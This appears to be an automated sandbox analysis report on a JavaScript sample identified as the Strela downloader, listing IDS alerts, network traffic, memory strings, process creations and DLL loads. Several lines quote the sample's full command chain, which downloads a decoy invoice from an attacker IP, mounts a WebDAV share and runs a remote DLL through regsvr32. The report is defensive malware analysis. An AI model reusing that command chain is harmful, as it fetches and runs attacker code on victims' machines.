Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2042557053.00000224D685E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2109819618.0000026619A6C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109819618.0000026619A38000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2109819618.0000026619A8A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2109819618.0000026619A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/2c
Source: net.exe, 00000007.00000002.2109819618.0000026619A6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/e
Source: net.exe, 00000007.00000002.2109819618.0000026619A38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/t
Source: svchost.exe, 00000009.00000002.3338080655.000001FF68E00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2110965787.000001FF69000000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6156, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18607323151113325657.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5612:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a2du1qa5.i10.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18607323151113325657.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1616,i,321981373026701256,205856416554201649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\265731000113441.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2136 --field-trial-handle=1616,i,321981373026701256,205856416554201649,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
